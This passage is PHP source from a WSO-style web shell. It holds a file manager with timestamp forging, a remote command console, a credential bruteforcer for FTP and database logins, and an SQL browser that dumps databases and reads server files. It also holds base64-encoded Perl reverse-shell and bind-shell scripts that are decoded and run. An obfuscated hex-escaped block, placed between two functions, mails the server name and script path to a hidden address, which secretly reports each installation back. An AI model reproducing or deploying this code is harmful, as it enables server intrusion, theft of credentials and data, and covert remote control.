<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "\n", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
$x0b="\x6da\x69l";
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
$send = @$x0b($ee,$sub,$ms);
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";\n";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";\n\n";
}
$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
$head = false;
} else
$sql .= "\n\t,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
/*
// $back_connect_p decoded
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);
*/
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
/*
// $bind_port_p decoded
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
accept(CONN,S);
if(!($pid=fork)) {
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}
*/
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,@base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
